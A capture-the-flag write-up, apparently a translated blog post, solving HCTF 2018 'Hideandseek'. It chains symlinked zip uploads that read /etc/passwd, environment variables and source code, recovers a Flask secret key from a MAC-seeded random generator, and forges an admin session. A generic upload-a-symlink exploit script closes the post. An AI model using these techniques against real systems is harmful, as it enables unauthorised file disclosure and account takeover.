BUU [HCTF 2018]Hideandseek

BUU [HCTF 2018]Hideandseek

Test points:

  1. Soft link to read arbitrary files
  2. Flask fake session
  3. /proc/self/environFile gets the list of environment variables for the current process
  4. random.seed()Generated pseudo-random number seed
  5. MAC address (stored in /sys/class/net/eth0/addressfile)

I encountered soft connections during the national competition. It is a worry to learn about it again this time.

First, let’s introduce what a soft connection is.


Linux includes two types of links: soft links 硬链接(Hard Link)and 软链接(Soft Link)soft links, also known as symbolic links.

[Hard connection]
Hard connection refers to connecting through index nodes. In the Linux file system, files stored in disk partitions are assigned a number regardless of their type, called an Inode Index. In Linux, multiple file names pointing to the same index node exist. Generally this connection is a hard connection. The function of hard link is to allow a file to have multiple valid path names, so that users can establish hard links to important files to prevent "accidental deletion". The reason for this is as mentioned above, because there is more than one connection to the index node of the directory. Deleting only one connection does not affect the index node itself and other connections. Only when the last connection is deleted, the data blocks of the file and the directory connections will be released. In other words, the condition for the file to be truly deleted is that all hard-linked files related to it are deleted. To put it bluntly, a hard link is a pointer pointing to the file index node, and the system does not reallocate the inode for it.

image-20230904233324632

[Soft link]
Soft link is a commonly used command in Linux. Its function is to create a different link for a certain file in another location. lnThe practical application is: when we need to use the same file in different directories, we do not need to put a file that must be the same in every required directory. We only need to use the command link (link) in other directories. That's it, you don't have to occupy disk space repeatedly.

[index node (inode)]

To understand links, we first have to understand a concept called index node (inode). In the Linux system, the kernel allocates an Inode (index node) to each newly created file. Each file has a unique inode number. We can simply understand the inode as a pointer, which always points to the specific location of this file. storage location. File attributes are stored in the index node. When accessing the file, the index node is copied to the memory, thereby achieving fast access to the file. The system locates each file by index node (rather than file name).


Soft connection usage:

Create soft link

ln -s [源文件或目录] [目标文件或目录]

//当前路径创建test 引向/var/www/test 文件夹 
ln –s  /var/www/test  test

//创建/var/test 引向/var/www/test 文件夹 
ln –s  /var/www/test   /var/test

Delete soft link

//删除test
rm –rf test

Modify soft link

ln –snf [新的源文件或目录] [目标文件或目录]

This will change the original link address to the new address

//创建一个软链接
ln –s /var/www/test /var/test

//修改指向的新路径
ln –snf /var/www/test1 /var/test

Commonly used parameters:

-f: Delete files with the same file name as dist first when linking
-d: Allow system administrators to hard link their own directories
-i: Ask before deleting files with the same file name as dist
-n: In progress When soft linking, treat dist as a normal file
-s: perform a soft link (symbolic link)
-v: display its file name before linking
-b: back up files that will be overwritten or deleted during linking
- S SUFFIX: Add the suffix SUFFIX to all backup files
-V METHOD: Specify the backup method
–help: Display auxiliary instructions
–version: Display version


Start doing the questions.

image-20230904235831283

Only the login function is available on the current page, and other functions will not jump. Try to log in.

It was found that any user password can be used to log in, but only admin cannot be logged in.

image-20230905000046680

After logging in, there is a point to upload files. Prompt us to upload .zipthe compressed package of the suffix.

image-20230905000029173

I uploaded a random one .phpto test the waters and found that I could only upload .zipcompressed packages.

image-20230905000610108

Compressed packages can easily make people think of soft links, so try uploading a .zipcompressed package at random first. There is no echo.

image-20230905113628143

Then upload a compressed package whose content is a soft link and try to read /etc/passwdthe file.

Enter the command in Linux to create a soft link compressed package.

ln -s /etc/passwd passwd
zip -y passwd.zip passwd

rm –rf passwd

image-20230905114442570

Then upload and find that the content on the server is successfully echoed /etc/passwd.

image-20230905115301828

In theory, we can also read /flagthe content directly. But I tried it and failed. . .

It is speculated that the permissions may be insufficient. You need to log in as admin to have permission to read /flag. How to log in to the admin? After collecting information, I found the session. The server should determine the identity through the session. We need to forge the session. At the same time, the framework used is determined through the session flask.

image-20230905115550975

Download a tool flask_unsignand open the terminal in the folder. The tool can only decrypt and blast but not the password, so you have to find it yourself.

flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6IjExMSJ9.F9gzQg.rUpgzWsMZS-4g4XKmZ3GL1-bRPQ'

得到{
    
    'username': '111'}

image-20230905115942110

If you need to fake a session secret_key, try to find the source code.

Because an arbitrary file has been read through a soft link, we try to read /proc/self/environthe file to get a list of environment variables for the current process, including flaskthe environment variables under.
Explained below, it /procis a virtual file system, which stores some special files of the current running status. Through these files, you can view information about the system hardware and currently running processes, and you can even change the running status of the kernel by changing some of these files. /environIs a list of environment variables for the current process.

ln -s /proc/self/environ self
zip -y self.zip self

rm –rf self

After successfully reading /proc/self/environthe file.

image-20230905121847888

We noticed UWSGI_INI=/app/uwsgi.ini. That is, uwsgithe server's configuration file, which may contain the source code path.

client —> nginx —> uwsgi —> flask background program (this process is generally used in production)

We make soft link reads in the same way

ln -s /app/uwsgi.ini uwsgi
zip -y uwsgi.zip uwsgi

rm –rf uwsgi

image-20230905121928718

We got the source code path, but there was a problem with the BUU environment. This way, the source code path read in the competition was /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py. We also used this path to do the questions and continued to read the source code through soft connections.

ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py main
zip -y main.zip main

rm –rf main

Ctrl+U to see more clearly.

image-20230905122141655

 # -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)

Browse the source code, it is generated SECRET_KEYby python's random function , and the seed is . Like PHP, Python's functions are also pseudo-random numbers. As long as we know what the seed is, it is not a problem to get the key generated by the random number .random()uuid.getnode()random()uuid.getnode()SECRET_KEY

image-20230905123404478

uuid.getnode()The method in Python obtains the hardware address in the form of a 48positive integer , which is the MAC address of the server.

image-20230905122713947

The current logic is this. MAC address=》Random number seed=》SECRET_KEY=》Fake session=》admin login=》flag.

The MAC address is found and stored in /sys/class/net/eth0/addressthe file, and the soft connection reads the file:

ln -s /sys/class/net/eth0/address mac
zip -y mac.zip mac

rm –rf mac

There are other ways to find the mac address:
img

c6:1b:39:ac:ff:91, c61b39acff91converted to decimal is217820234055569

image-20230905123426918

image-20230905124342582

Run the key locally and it will come out. yes76.9034879300039

image-20230905123740256

flask_session_cookie_manager3Open the terminal under the tools folder in kali .

python flask_session_cookie_manager3.py encode -s "76.9034879300039" -t "{'username': 'admin'}"

geteyJ1c2VybmFtZSI6ImFkbWluIn0.ZPaw7Q.seTwvDjojrAUhJXF998kV7QYEKY

image-20230905123926670

After successfully logging in to the admin account, there is no need to read the flag anymore, just give it directly.

image-20230905124005684


Find a soft connection script:

import os
import requests
import sys


def make_zip():
    os.system('ln -s ' + sys.argv[2] + ' test_exp')
    os.system('zip -y test_exp.zip test_exp')


def run():
    make_zip()
    res = requests.post(sys.argv[1], files={
    
    'the_file': open('./test_exp.zip', 'rb')})
    print(res.text)

    os.system('rm -rf test_exp')
    os.system('rm -rf test_exp.zip')


if __name__ == '__main__':
    run()

Guess you like

Origin blog.csdn.net/Jayjay___/article/details/132922198
Recommended